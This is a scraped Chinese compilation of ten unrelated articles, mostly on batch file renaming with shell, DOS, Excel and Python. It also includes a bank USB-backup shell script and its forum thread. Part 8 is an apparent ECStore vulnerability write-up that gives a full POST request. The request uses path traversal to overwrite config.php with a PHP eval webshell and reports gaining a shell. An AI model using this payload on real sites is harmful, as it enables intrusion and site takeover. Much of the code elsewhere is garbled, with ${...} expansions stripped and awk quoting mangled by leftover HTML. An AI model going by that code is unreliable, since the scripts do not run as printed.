shell问答16:批量修改文件名后缀Unix系统(通用10篇)由网友“白居易相送中岛”投稿提供,下面小编给大家整理shell问答16:批量修改文件名后缀Unix系统,希望大家喜欢!
篇1:shell问答16:批量修改文件名后缀Unix系统
可以复习一下xargs的用法,和变量的一些高级操作技巧 如何 批量把若干文件从一个扩展名改为另一个扩展名?比如把后缀gz,改为zip 答: 1. for file in *.gz; do mv $file `basename $file .gz`.zip; done 或(也适合ksh) for file in *.gz; do mv $file $.z
可以复习一下xargs的用法,和变量的一些高级操作技巧
如何批量把若干文件从一个扩展名改为另一个扩展名?比如把后缀gz,改为zip
答:
1.for file in *.gz; do mv $file `basename $file .gz`.zip; done
或(也适合ksh)
for file in *.gz; do mv $file $.zip; done
2.ls | grep gz | awk -F'.' '{print }'|xargs -i mv {}.gz {}.zip
附netman十三问片断:
$MILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'“>:拿掉第一条/及其左边的字符串:dir1/dir2/dir3/my.file.txt
$:拿掉最后一条/及其左边的字符串:my.file.txt
$:拿掉第一个.及其左边的字符串:file.txt
$:拿掉最后一个.及其左边的字符串:txt
$:拿掉最后条/及其右边的字符串:/dir1/dir2/dir3
$:拿掉第一条/及其右边的字符串:(空值)
$:拿掉最后一个.及其右边的字符串:/dir1/dir2/dir3/my.file
$:拿掉第一个.及其右边的字符串:/dir1/dir2/dir3/my
记忆的方法为:
#是去掉左边(在鉴盘上#在$之左边)
%是去掉右边(在鉴盘上%在$之右边)
单一符号是最小匹配r两个符号是最大匹配,
$:提取最左边的5个字节:/dir1
$:提取第5个字节右边的连续5个字节:/dir2
我们也可以对变量值里的字符串作替换:
$:将第一个dir提换为path:/path1/dir2/dir3/my.file.txt
$:将全部dir提换为path:/path1/path2/path3/my.file.txt
利用${ }还可针对不同的变量状态赋值(没设定、空值、非空值):
$:假如$file没有设定,则使用my.file.txt作默认值,
(保留空值及非空值)
$:假如$file没有设定或为空值,则使用my.file.txt作默认值。(保留非空值)
$:不管$file为何值,均使用my.file.txt作默认值。(不保留任何值)
$:若$file为非空值,则使用my.file.txt作传回值。(保留没设定及空值)
$:若$file没设定,则使用my.file.txt作默认值,同时将$file定义为非空值。(保留空值及非空值)
$:若$file没设定或为空值,则使用my.file.txt作默认值,同时将$file定义为非空值。(保留非空值)
$:若$file没设定,则将my.file.txt输出至STDERR。(保留空值及非空值))
$:若$file没设定或为空值,则将my.file.txt输出至STDERR。(保留非空值)
还有哦,$可计算出变量值的长度:
$可得到27,因为/dir1/dir2/dir3/my.file.txt刚好是27个字节...
接下来,再为大家介稍一下bash的组数(array)处理方法。
一般而言,A=”a b c def“这样的变量只是将$A替换为一个单一的字符串,
但是改为A=(a b c def),则是将$A定义为组数...
bash的组数替换方法可参考如下方法:
$或$可得到a b c def (全部组数)
$可得到a (第一个组数),$则为第二个组数...
$或$可得到4 (全部组数数量)
$可得到1 (即第一个组数(a)的长度),$可得到3 (第四个组数(def)的长度)
A[3]=xyz则是将第四个组数重新定义为xyz ...
原文转自:www.ltesting.net
篇2:如何快速批量修改文件名
步骤1: 点击Windows左下角的“开始”菜单,选择“运行”,输入 cmd ,回车进入命令行,
步骤2: 用 cd 命令进入到你想批量修改文件名的文件夹目录。比如这里,我想要进入C盘中的pics文件夹。
cd
cd pics
步骤3: 输入 dir /b 你可以看见当前文件夹目录下面全部文件的列表。
输入 dir /b >pics.xls 将的列表输出到pics.xls电子表格。
步骤4: 有趣的东西现在才开始。打开Excel或Google Docs电子表格,你会在第一列中看到刚才文件列表。
步骤5: 在旁边空白的列中,添加一个相应的function函数公式——例如,使用SUBSTITUTE可以来修改文件名中指定的字符,使用 CONCATENATE 和 DATE() 可以在文件名中加上日期,等等,
步骤6: 选中B1单元格右下角的+加号,向下拖动,这样我们的公式将被复制应用到所有行。
现在,你原来的文件名在A列,你期望替换成的文件名在B列——我们现在要将它们转化为DOS中的rename命令。
在C列,输入Excel公式:=CONCATENATE(”ren “,A1, ” “, B1),点击函数的对号,确认输入无误后,拖到右下角的+加号,应用到所有行。
步骤7: 选中C列,点击“复制”,在C盘pics文件夹目录下,创建一个rename.bat文件,将复制的内容粘贴进去。
步骤8: 现在我们已经基本要完成了。在C:pics下输入命令rename.bat,然后回车,你会发现pics目录下的文件名已经按照你期望的方式全部被修改了。
篇3:用Excel和DOS命令批量修改文件名
在你的Windows电脑上批量修改文件名是非常简单的,选择所有的文件,按F2,然后输入一下描述性的文本。
Windows将会在每个文件名中加上一个唯一的序列数字。
这是一个相当快捷的解决方案,但是并不是很灵活,因为你不能自定义修改的方式。
例如,你如何将当前的日期加在文件名中?或者你想替换掉文件名中的几个文字或字符(如一个拼写错误)?或者你想文件按照一个不同的重命名系统去修改,像这样file-A.jpg,而不是默认的file(1).jpg。
为了有效的批量修改文件名,你可以学习一些有点复杂的shell编程语言(SED,AWK,Perl)或者更简单的,只是使用一个电子表格和几个dos命令。
1: 点击Windows左下角的“开始”菜单,选择“运行”,输入 cmd ,回车进入命令行。
2: 用 cd 命令进入到你想批量修改文件名的文件夹目录。比如这里,我想要进入C盘中的pics文件夹。
cd
cd pics
3: 输入 dir /b 你可以看见当前文件夹目录下面全部文件的列表,
输入 dir /b >pics.xls 将的列表输出到pics.xls电子表格。
4: 有趣的东西现在才开始。打开Excel或Google Docs电子表格,你会在第一列中看到刚才文件列表。
5: 在旁边空白的列中,添加一个相应的function函数公式——例如,使用SUBSTITUTE可以来修改文件名中指定的字符,使用 CONCATENATE() 和 DATE() 可以在文件名中加上日期,等等。
6: 如上图,选中B1单元格右下角的+加号,向下拖动,这样我们的公式将被复制应用到所有行。
现在,你原来的文件名在A列,你期望替换成的文件名在B列——我们现在要将它们转化为DOS中
的rename命令。
在C列,输入Excel公式:
=CONCATENATE(”ren “,A1, ” “, B1)
点击函数的对号,确认输入无误后,拖到右下角的+加号,应用到所有行。
7: 选中C列,点击“复制”,在C盘pics文件夹目录下,创建一个rename.bat文件,将复制的内容粘贴进去。
8: 现在我们已经基本要完成了。在C:pics下输入命令rename.bat,然后回车,你会发现pics目录下的文件名已经按照你期望的方式全部被修改了。
篇4:在DOS里我如何批量修改文件名
方法一的思路与方法二大致相同,只不过在获取完整路径的时候,换用了效率更高的 for /r 语句,并用一个变量var来获取文件所在文件夹的完整路径,通过判断var是否经过赋值来判断当前处理的音乐文件是否位于同一目录下,因为直接用 %%~dpa 获取到的字符串最后有一个反斜杠,所以,第二个for语句中,用 !var:~,-1! 把最后的反斜杠去掉了(在for语句内部,如果要 引用已经发生了改变的变量,必须使用变量延迟功能,也就是最开始的 setlocal 语句),后面的思路和方法二的一样。其实,方法一的代码大可不必判断当前处理的文件与上一次处理的文件是否位于同一目录下,因为 for /r 的时候,会获得文件的完整路径,只需要对完整路径直接进行操作就可以了,可以借鉴随风的做法,在 %%~dpa 的时候,直接在最后加上一个点号,可以使得效率进一步提升。
方法一代码:
01@echo off &setlocal enabledelayedexpansion
02for /r %%a in (aaa.jpg) do (if not defined %%~dpa set ”var=%%~dpa“&set
03”%%~dpa=a“
04for %%i in (”!var:~,-1!“)do ren ”%%~fa“ ”%%~ni.jpg“)
05pause
复制代码
方法二用 dir /a-d /b /s 来获取完整路径名,放到for语句中来解析完整路径字符串,用 %%~dpa. 来获取音乐文件所处的文件夹完整路径(这里使用了一个小技巧:在字符串最后添加一个点号,从而使得for语句的%%~ni把文件夹名当做文件名来处理,我直接运行以上脚本发现一直出问题,后来发现先显示下%%~dpa. 即在ren 前加上echo ”%%~dpa.“ 再执行脚本就OK了,具体原因不明,望高手解答),再用 %%~ni 获取文件夹名,用ren来实现改名,%%~nxi 获取原文件完整的文件名和后缀名。
方法二代码:
01@echo off
02for /f ”delims=“ %%i in ('dir /a-d /b /s D:1*.jpg') do (ren ”%%i“ ”%%~nxi“ )
03pause
复制代码
基本格式(这里写的是在命令行里用的格式,如果是在批处理中,需要把其中%再多加个%形成%%):
for /参数 %变量 in (集) do 命令
注:上面除中文的以外,其余的是按它的格式要求书写的,大小写都行。
参数:FOR分四种参数 D L R F,并且有的参数还可附加另外的选项下面会分别介绍
变量:(记住如果是在批处理中使用for命令时,变量前的%需改为%%)这个变量名是由单个字母组成且区分大小写(原帮助是这么说的,实际运用中用单个数字作为变量名试过证明也可行),如%B和%b代表的是不同的变量。
一、参数 /d
for /d %%变量 in (集) do 命令
/d 参数是指定仅对目录而不是文件执行的for命令。
for /d %a in (c:*.*) do @echo %a
二、参数 /R
/R参数之后还可带盘符及路径
for /r 此处可以带有路径 %变量 in (集) do 命令
例1:
01@echo off
02rem 显示d:盘中所有文件名为file1和file2的列表
03for /r d: %%h in (file1,file2) do if exist %%h echo %%h
04pause
复制代码
例2:
01@echo off
02rem 删除C盘中所有*.chk的文件
03for /r c: %%h in (*.chk) do del /q %%h
04pause
复制代码
注:del /q 表示用安静模式删除(不需确认)
三、参数 /L
for /L %%变量 in (起始值,每次增值,结束时的比较值) do 命令
(上面L也可用小写,主要为了视觉上不与数字1混淆而没用小写)
(起始值,每次增值,结束时的比较值)相当于一个等差数字序列,从“起始值”的数字开始,每次增加多少(也可设定为负数)为“每次增值”,并与“结束时的比较值”比较,超出则退出for循环(也不执行本轮后面的do 命令)。
例:
01@echo off
02::在D盘建立aa1~ aa5五个文件夹
03for /L %%i in (1,1,5) do md d:aa %%i
04pause
复制代码
四、参数 /f
这个参数/f将会打开(集)里的文件,使for命令能处理文本文件的读取和添加删除替换等编辑性的操作,可谓功能强大,因此也相对复杂一些。
五、变量
~I - 删除任何引号(”),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串。
以上便是在DOS下批量修改文件名的一些见解和方法,用户可以根据变量和参数对批量修改文件名的文件进行处理。
篇5:如何用Excel及DOS命令批量修改文件名
在你的Windows电脑上批量修改文件名是非常简单的,选择所有的文件,按F2,然后输入一下描述性的文本。
Windows将会在每个文件名中加上一个唯一的序列数字。这是一个相当快捷的解决方案,但是并不是很灵活,因为你不能自定义修改的方式。
例如,你如何将当前的日期加在文件名中?或者你想替换掉文件名中的几个文字或字符(如一个拼写错误)?或者你想文件按照一个不同的重命名系统去修改,像这样file-A.jpg,而不是默认的file(1).jpg。为了有效的批量修改文件名,你可以学习一些有点复杂的shell编程语言(SED,AWK,Perl)或者更简单的,只是使用一个电子表格和几个dos命令。
1: 点击Windows左下角的开始菜单,选择运行,输入 cmd ,回车进入命令行,
2: 用 cd 命令进入到你想批量修改文件名的文件夹目录。比如这里,我想要进入C盘中的pics文件夹。
cd \
cd pics
3: 输入 dir /b 你可以看见当前文件夹目录下面全部文件的列表。
输入 dir /b pics.xls 将的列表输出到pics.xls电子表格。
4: 有趣的东西现在才开始。打开Excel或Google Docs电子表格,你会在第一列中看到刚才文件列表。
5: 在旁边空白的列中,添加一个相应的function函数公式例如,使用SUBSTITUTE可以来修改文件名中指定的字符,使用 CONCATENATE 和 DATE() 可以在文件名中加上日期,等等。
篇6:python批量修改文件后缀示例代码
最近更 新
python实现的二叉树算法和kmp算法实例
Python yield使用方法示例
python条件和循环的使用方法
python实现的udp协议Server和Client代码实
python基础教程之数字处理(math)模块详解
学习python的几条建议分享
go和python调用其它程序并得到程序输出
python k-近邻算法实例分享
python实现的防DDoS脚本
python实现socket端口重定向示例
热 点 排 行
Python入门教程 超详细1小时学会
python 中文乱码问题深入分析
比较详细Python正则表达式操作指
Python字符串的encode与decode研
Python open读写文件实现脚本
Python enumerate遍历数组示例应
Python 深入理解yield
Python+Django在windows下的开发
python 文件和路径操作函数小结
python 字符串split的用法分享
篇7:问答系统Question2Answer简单修改,让中文网站URL更简洁人性化
Question2Answer是一个用 PHP 实现的类StackOverflow网站的问答系统,
Question2Answer网站效果截图
该网站在操作上特别的易用、人性化。并且在英文网站中,URL已经进行了符合SEO的优化处理,比如win8os.info/1/faq-about-php这样的形式。
但是,在中文网站中,这样的处理和显示,会给操作带来很大的麻烦,网站的地址出来则是类似于“win8os.info/1/问答-中心-系统”这样的形式。而复制下来的地址则是一串很长的乱码的样子,给宣传带来很大的麻烦,
那么,有没有比较好的方式进行处理呢?答案是有的。
简单的修改办法是:
打开question2answerqa-includeqa-base.php这个文件。在429行代码(即$requestparts=explode(‘/’, $request);)下,添加下面的代码:
if (is_numeric($requestparts[0])) {
unset($requestparts[1]); //删除后边中文字符
}
这样就一切OK了!
现在访问网站,会看到网站中问题的URL地址改变为“win8os.info/1”这样的形式了。非常方便吧!
具体的效果,参见网站win8os.info/
篇8:ECStore开源网店系统任意文件修改漏洞可拿shell
简要描述:
模板编辑中的文件编辑功能,对可编辑的文件限制不严,导致可以修改系统中存在的任意文件
文件编辑功能中选择要修改的文件,这里选图片(模板文件也可以),然后上传图片时将file_name参数设置为网站的任意php文件,如/index.php或/config/config.php,将图片内容设置为shell内容,。。。
post数据如下:
POST /index.php/shopadmin/index.php?app=site&ctl=admin_explorer_theme&act=save_image HTTP/1.1Host: shop.xxx.comContent-Length: 846527Cache-Control: max-age=0Accept-Encoding: gzip,deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: xxxxxxxxx------WebKitFormBoundaryHSNjVhgvrpnTmmQDContent-Disposition: form-data; name=“theme”ecstore------WebKitFormBoundaryHSNjVhgvrpnTmmQDContent-Disposition: form-data; name=“open_path”------WebKitFormBoundaryHSNjVhgvrpnTmmQDContent-Disposition: form-data; name=“file_name”../../config/config.php------WebKitFormBoundaryHSNjVhgvrpnTmmQDContent-Disposition: form-data; name=“upfile”; filename=“Desert.jpg”Content-Type: image/jpeg<?php @eval($_POST['chopper']);?>------WebKitFormBoundaryHSNjVhgvrpnTmmQDContent-Disposition: form-data; name=“has_bak”1------WebKitFormBoundaryHSNjVhgvrpnTmmQD--
同样,在编辑html或xml文件时也存在该问题
成功连接webshell
shell是拿到了,可config文件被修改后,但网站挂了,
。。。。
解决方案:
限制要file_name参数值,不要让其修改模板目录以外的文件
篇9:shell问答17:用join比较处理某些字段相同的文件Unix系统
整理了一梦如是、mocou、guangzongy和begincwcw的 解决方案 ,以资借鉴!谢过先:) 问: # cat aa 123|11|aaaaa 124|12|abasf 125|12|aaccc 126|13|ccccc 127|14|ccvvv 128|17|vgfgd # cat bb 12|aaa 12|ddd 13|aaa 14|aaa 要生成 124|12|abasf 124|12|abasf 1
整理了一梦如是、mocou、guangzongy和begincwcw的解决方案,以资借鉴!谢过先:)问:
# cat aa
123|11|aaaaa
124|12|abasf
125|12|aaclearcase/“ target=”_blank“ >ccc
126|13|ccccc
127|14|ccvvv
128|17|vgfgd
# cat bb
12|aaa
12|ddd
13|aaa
14|aaa
要生成
124|12|abasf
124|12|abasf
125|12|aaccc
125|12|aaccc
126|13|ccccc
127|14|ccvvv
既将aa中第二域与bb中第一域相同的记录打印出来,怎样实现?
答案:
1.join -2 1 -1 2 1 2 -t'|' -o 1.1,1.2,1.3
2.for line in `
3.awk的方法
A:
nawk 'BEGIN { FS = ”|“; while ((getline < ”bb.txt“) >0) { lines[] }}
{ if( in lines)
print }' aa.txt
以上运行结果为aa.txt在bb.txt存在的,
shell问答17:用join比较处理某些字段相同的文件Unix系统
,
B:
nawk 'BEGIN { FS = ”|“; while ((getline < ”bb.txt“) >0) { lines[] }}
{ if( in lines)
next
else
print }' aa.txt
以上运行结果为aa.tt在bb.tt不存在的。
C:
nawk 'BEGIN { FS = ”|“; while ((getline < ”bb.txt“) >0) { lines[] }}
{ if( in lines)
print ”|find“
else
print ”|not find“ }' aa.txt
以上运行结果为aa.txt在bb.txt中找到的打印find,没有找到的打印not find。
原文转自:www.ltesting.net
篇10:我修改的中创储蓄对公业务U盘备份shell。请指正!Windows系统
在新太阳/奥尔两个程序的基础上修改的,请大家多多指教。 目前,正在修改硬盘备份部分。用中创的朋友,欢迎交流。 [quote:09f8d25e2d] #USBStorageUtility***信用社业务数据U盘备份程序1.0 #(c)Copyright2004 #编辑修改:查明胜zerozha@yahoo.com.cn #======
在新太阳/奥尔两个程序的基础上修改的。请大家多多指教。
目前,正在修改硬盘备份部分。用中创的朋友,欢迎交流。
[quote:09f8d25e2d]
#USB Storage Utility *** 信用社业务数据U盘备份程序1.0
#(c) Copyright 2004
#编辑修改: 查明胜 zerozha@yahoo.com.cn
#==========================环境参数设置========================
#储蓄路径
BANKSTAR_HOME=/usr/bankstar
#对公路径
BANKACC_HOME=/usr/bankaclearcase/” target=“_blank” >cc
#U盘系统装载点
MOUNT_POINT=/mnt
#U盘设备名称
DEV=/dev/dsk/1sC
#U盘备份保留天数
DAYS=30
#==========================结束========================
MONTH=
DAY=
#=============================更改路径
change_to_dir() {
dir=$1
[ -f $dir ] && rm -r $dir
[ ! -d $dir ] && mkdir $dir
cd $dir
}
#==============================end
#==============================删除逾期数据
DeleteYqData()
{
Num=`ls $1/*.dat | wc -l`
GeS=`expr $Num - $DAYS`
[ $GeS -gt 0 ] && {
Num=0
for i in `ls $1/*.dat`
do
Num=`expr $Num + 1`
yes | rm $i >/dev/null 2>/dev/null
[ $? -ne 0 ] && {
echo “\n[2;7;4m$i 删除失败 ![2;7;0m”
}
[ $Num -ge $GeS ] && break
done
}
}
#=================================结束
GetYN()
{
while echo “\n[2;7;4m$* (Y/N): [2;7;0m\07\c”
do
read yn
case $yn in
[yY]) return 0;;
[nN]) return 1;;
*) echo “\07\07”
esac
done
}
#================================================
DateAnalyse()
{
value=`echo $1 | awk 'BEGIN { FS=“/” }
{
Year=$1
Mon=$2
Day=$3
if(Year<1899 || Year >9999 || Mon<1 || Mon >12 || \
Day<1 || Day >31 || !IsDigit(Mon) || !IsDigit(Year) ||\
!IsDigit(Day) || !IsYMD(Year,Mon,Day))
printf(“1”)
else printf(“0”)
}
function IsDigit(str)
{
for(i=1;i<=length(str);i++)
{
bit=substr(str,i,1)
if(bit<0 || bit>9) return(0)
}
return(1)
}
function IsLeapYear(YearNum)
{
if((int(YearNum%4)==0 && int(YearNum%100)!=0)||int(YearNum%400)==0)
return(1)
else return(0)
}
function IsYMD(YearNum,MonNum,DayNum)
{
DayArr[“01”]=31
if(IsLeapYear(YearNum)) DayArr[“02”]=29
else DayArr[“02”]=28
DayArr[“03”]=31
DayArr[“04”]=30
DayArr[“05”]=31
DayArr[“06”]=30
DayArr[“07”]=31
DayArr[“08”]=31
DayArr[“09”]=30
DayArr[“10”]=31
DayArr[“11”]=30
DayArr[“12”]=31
if(DayNum>0 && DayNum<=DayArr[MonNum])
return(1)
else return(0)
''' `
return $value
}
#========================================
GetDate()
{
while true
do
echo “\n请输入$* (yyyy/mm/dd): \c”
read date
len=`expr length “$date”`
DateAnalyse $date
[ $? -ne 0 -o $len -ne 10 ] && {
echo “\07\07\07”
echo “[2;7;4m日期错误,按回车键重新输入 ...[2;7;0m\c”
read key
continue
}
GetDateYN “输入$*为: [2;1;7m $date [2;7;0m, 是否正确”
[ $? -eq 0 ] && break
done
}
#=============================================
GetDateYN()
{
while echo “\n\07\07$* (Y/N): \c”
do
read yn
len=`expr length “$yn”`
[ $len -ne 1 ] && continue;
case $yn in
[yY]) return 0;;
[nN]) return 1;;
*) echo “\07\c”;;
esac
done
}
#=============================================程序主画面
main_menu() {
clear;
tput cup 1 1
echo “[2;7;4m 安庆市城郊信用合作联社业务数据U盘备份程序 Ver 1.0 [2;7;0m\c”
echo “\n==========================================================\c”
tput cup 3 1
echo “[1][2;7;1m 储蓄业务数据备份 [2;7;0m [2][2;7;1m 储蓄业务数据恢复 [2;7;0m”
tput cup 5 1
echo “[3][2;7;1m 对公业务数据备份 [2;7;0m [4][2;7;1m 对公业务数据恢复 [2;7;0m”
tput cup 7 1
echo “[5][2;7;1m 查看U盘使用情况 [2;7;0m [6][2;7;1m 删除U盘全部数据 [2;7;0m”
tput cup 9 1
echo “[7][2;7;1m 选择删除U盘数据 [2;7;0m [8][2;7;1m 列U盘内容 [2;7;0m”
tput cup 11 1
echo “[q][2;7;1m退 出 [2;7;0m”
tput cup 13 1
echo “\n==========================================================”
echo “ 现在时间:”`date&nbs'''+%Y年%m月%'''`“,U盘数据将保留”$DAYS“天”
echo “==========================================================”
echo “请选择:\c”;
}
#=============================================END
check_privilege() {
id_num=`id -u `
if [ id_num -ne 0 ]
then
echo “请用超级用户执行此程序!!!!”
sleep 3
exit
fi
}
#============================================查看U盘使用情况
usd_statistics() {
total=`df -kv $DEV |grep $DEV| awk&nbs'''{print $'''`
used=`df -kv $DEV |grep $DEV| awk&nbs'''{print $'''`
free=`df -kv $DEV |grep $DEV| awk&nbs'''{print $'''`
percent=`df -kv $DEV |grep $DEV|awk&nbs'''{print $'''`
echo “ U 盘 当 前 使 用 情 况 ”
echo “ --------------------------------------------------------------------”
echo “ 总容量(K) 已用(K) 剩余(K) 百分比”
echo “ ${total} ${used} ${free} &nbbsp; ${percent}”
echo “ --------------------------------------------------------------------”
echo “ 按回车键继续......\c”
read any
}
#============================================end
#============================================删除U盘所有数据
delete_all() {
echo “你确定要删除U盘所有数据吗?(y/n)\c”
cd $MOUNT_POINT
read opt
if [ $opt = “y” ]
then
rm -rf *
fi
}
#============================================end
#============================================选择删除U盘数据
delete_single() {
cd $MOUNT_POINT
echo “U盘当前目录:”
lx
echo “请输入要删除目录:\c”
read delete_dir
if [ -d $delete_dir -o -f $delete_dir ]
then
echo “你确定要删除${delete_dir}吗?(y/n)\c”
read opt
if [ $opt = “y” ]
then
rm -rf $delete_dir
fi
else
echo “<$delete_dir>目录或文件不存在”
sleep 2
fi
}
#=========================================================
list_file() {
cd $MOUNT_POINT
echo “U盘当前目录:”
l
echo “任一键返回”
read any
}
backup_bankstar()
{
rm -r /tmp/bankstar.exp >/dev/null 2>/dev/null
rm -r -f /tmp/bankstar >/dev/null 2>/dev/null
rm -r -f /tmp/bankstar.Z >/dev/null 2>/dev/null
[ -f “/tmp/bankdata” -o -f “/tmp/bankdata.Z” ] && {
echo “请先清理 /tmp 然后再备份!\n”
read any
return
}
cd /tmp
dbexport bankstar
[ $? -eq 0 ] || {
echo “数据库卸载失败!\n”
read any
return
}
tar cvf /tmp/bankstar /usr/bankstar/com /usr/bankstar/data /usr/bankstar/etc /usr/bankstar/frm /tmp/bankstar.exp
chmod 777 /tmp/bankstar >/dev/null 2>/dev/null
compress -H /tmp/bankstar
chmod 777 /tmp/bankstar.Z >/dev/null 2>/dev/null
rm -r -f /tmp/bankstar.exp
[ $? -eq 0 ] || return
cszd=`dbaccess bankstar -<<-End
select val from gcs where dh=“005”;
End`
gzrq=`echo $cszd | awk&nbs'''BEGIN { FS=“ ” }
{
split($2,a,“/”)
rq=sprintf(“%s%s%s”,a[1],a[2],a[3])
printf rq
'''`
echorq=`echo $cszd | awk&nbs'''BEGIN { FS=“ ” }
{
split($2,a,“/”)
rq=sprintf(“%s/%s/%s”,a[1],a[2],a[3])
printf rq
'''`
echo “正在备份$echorq储蓄数据....”
cd /mnt
change_to_dir bankstar
cp -f /tmp/bankstar.Z “$gzrq”.dat
aa=$?
rm -f /tmp/bankstar.Z
[ $aa -eq 0 ] || {
echo “文件(bankstar.Z)拷贝失败!!!”
read any
return
}
echo “[2;7;1m备份数据成功 ! 按回车键返回...[2;7;0m\c”
DeleteYqData /mnt/bankstar
read any
echo
}
recover_bankstar()
{
GetDate “所恢复数据的日期”
Date=`echo $date | awk&nbs'''BEGIN { FS=“/” }{printf(“%s%s%s”,$1,$2,$3'''`
BkupFile=“$Date.dat”
[ ! -f /mnt/bankstar/$BkupFile ] && {
echo “\n\07\07[2;7;4m${date}无备份数据 ! 按回车键返回...[2;7;0m\c”
read key
return 1;
}
cd /tmp
rm bankstar.Z 2>/dev/null
cd /mnt/bankstar
[ -f “$Date.dat” ] || { echo “\n $Date.dat(数据)文件不存在!!!”
read key
return
}
echo “正在拷贝数据”
cp $Date.dat /tmp/bankstar.Z
[ $? -eq 0 ] || { rm -r /tmp/bankstar.Z>dev/null 2>/dev/null
read key
return
}
cd /tmp
rm -r bankstar 1>/dev/null 2>/dev/null
uncompress bankstar.Z
[ $? -eq 0 ] || { rm -r bankstar.Z>/dev/null 2>/dev/null
read key
return
}
tar xvf bankstar
[ $? -eq 0 ] || { rm -r bankstar.Z >/dev/null 2>/dev/null
rm -r bankstar >/dev/null 2>/dev/null
return
}
dbaccess - -<<-End >/dev/null 2>/dev/null
drop database bankstar;
End
dbimport bankstar -l -i ./
flag=$?
while [ $flag -ne 0 ]
do
GetYN “加载数据库失败 ! 是否重新加载数据库” || return
dbaccess - - <<-End
drop database bankstar;
End
dbimport $DBNAME -l -i ./
flag=$?
done
echo “[2;7;1m恢复成功 ! 按回车键返回...[2;7;0m\c”
rm -r -f /tmp/bankstar.exp 2>/dev/null
read key
return
}
#备份对公业务数据
backup_bankacc()
{
cd /tmp
rm -r single.exp 2>/dev/null
rm single.Z 2>/dev/null
dbexport single
flag=$?
while [ $flag -ne 0 ]
do
GetYN “ 数据卸载失败 ! 是否重新卸载” || {
rm single.Z >/dev/null 2>/dev/null
echo
return
}
rm -r single.exp 2>/dev/null
dbexport single
flag=$?
done
tar cvf single single.exp
flag=$?
while [ $flag -ne 0 ]
do
GetYN “ 数据打包失败 ! 是否重新打包” || {
rm single.Z >/dev/null 2>/dev/null
echo
exit $flag
}
rm single 2>/dev/null
tar cvf single single.exp
flag=$?
done
yes | compress single
flag=$?
while [ $flag -ne 0 ]
do
GetYN “ 数据压缩失败 ! 是否重新压缩” || {
rm single.Z >/dev/null 2>/dev/null
echo
return
}
rm single.Z 2>/dev/null
yes | compress single
flag=$?
done
cszd=`dbaccess single -<<-End
select rq from cszd;
End`
gzrq=`echo $cszd | awk&nbs'''BEGIN { FS=“ ” }
{
split($2,a,“/”)
rq=sprintf(“%s%s%s”,a[1],a[2],a[3])
printf rq
'''`
echorq=`echo $cszd | awk&nbs'''BEGIN { FS=“ ” }
{
split($2,a,“/”)
rq=sprintf(“%s/%s/%s”,a[1],a[2],a[3])
printf rq
'''`
echo “正在备份$echorq对公业务数据....”
cd /mnt
change_to_dir single
cp -f /tmp/single.Z “$gzrq”.dat
aa=$?
rm -f /tmp/single.Z
[ $aa -eq 0 ] || {
echo “文件(single.Z)拷贝失败!!!”
return
}
echo “[2;7;1m备份数据成功 ! 按回车键返回...[2;7;0m\c”
DeleteYqData /mnt/single
read any
echo
}
#恢复对公业务数据
recover_bankacc()
{
GetDate “所恢复数据的日期”
Date=`echo $date | awk&nbs'''BEGIN { FS=“/” }{printf(“%s%s%s”,$1,$2,$3'''`
BkupFile=“$Date.dat”
[ ! -f /mnt/single/$BkupFile ] && {
echo “\n\07\07[2;7;4m${date}无备份数据 ! 按回车键返回...[2;7;0m\c”
read key
return 1;
}
cd /tmp
rm single.Z 2>/dev/null
rm -r single.exp 2>/dev/null
cd /mnt/single
[ -f “$Date.dat” ] || { echo “\n $Date.dat(数据)文件不存在!!!”
return
}
echo “正在拷贝数据”
cp $Date.dat /tmp/single.Z
[ $? -eq 0 ] || { rm -r /tmp/single.Z>dev/null 2>/dev/null
return
}
cd /tmp
rm -r single 1>/dev/null 2>/dev/null
uncompress single.Z
[ $? -eq 0 ] || { rm -r single.Z>/dev/null 2>/dev/null
return
}
tar xvf single
[ $? -eq 0 ] || { rm -r single.Z >/dev/null 2>/dev/null
rm -r single >/dev/null 2>/dev/null
return
}
dbaccess - -<<-End >/dev/null 2>/dev/null
drop database single;
End
dbimport single -l -i /tmp
flag=$?
while [ $flag -ne 0 ]
do
GetYN “加载数据库失败 ! 是否重新加载数据库” || return
dbaccess - - <<-End
drop database single;
End
dbimport single -l -i /tmp
flag=$?
done
echo “[2;7;1m恢复成功 ! 按回车键返回...[2;7;0m\c”
rm -f /tmp/single.exp 1>/dev/null 2>/dev/null
read key
return
}
##Main Programe
trap&nbs'''' 2 3
#if [ ! -f “./usu.cfg” ]
#then
# echo “没有配置文件(usu.cfg),请与供应商联系”
# exit
#fi
#. ./usu.cfg
check_privilege #检查权限
mount -o lower ${DEV} ${MOUNT_POINT}
if [ $? -ne 0 ]
then
echo “U盘安装有误 ,请检查!!!!”
sleep 3
exit
fi
while true
do
main_menu
read opt
case $opt in
1)
backup_bankstar
;;
2)
recover_bankstar
;;
3)
backup_bankacc
;;
4)
recover_bankacc
;;
5)
usd_statistics
;;
6)
delete_all
;;
7)
delete_single
;;
8)
list_file
;;
q)
cd /
umount $DEV
[ $? -ne 0 ] && echo “卸载U盘出错”
exit
esac
done
[/quote:09f8d25e2d]
CNL 回复于:2004-08-19 13:58:48顶一下!支持老查!
车尔尼 回复于:2004-08-19 16:55:40太长了呵呵
车尔尼 回复于:2004-08-19 16:55:42太长了呵呵
注册错误 回复于:2004-08-19 21:43:14^-^
看得头晕
老查 回复于:2004-08-19 22:03:28有许多重复的过程,哪位帮助优化一下,
zzlhw 回复于:2004-08-19 22:21:33看了后感到很熟!
是不是新太阳的!!!
sdccf 回复于:2004-08-20 08:27:38楼主开头就说了,是在“新太阳/奥尔两个程序的基础上修改的”。
wangrujun 回复于:2004-08-20 08:55:37好象回到了10年前。以前写程序都是这样子的。
saintdragon 回复于:2004-08-20 09:19:17不错,论坛需要更多这样的东东。
支持老查!!
walsq 回复于:2004-08-20 09:36:31顶一下,不算灌水吧。
handsun 回复于:2004-08-22 09:23:11学习一下
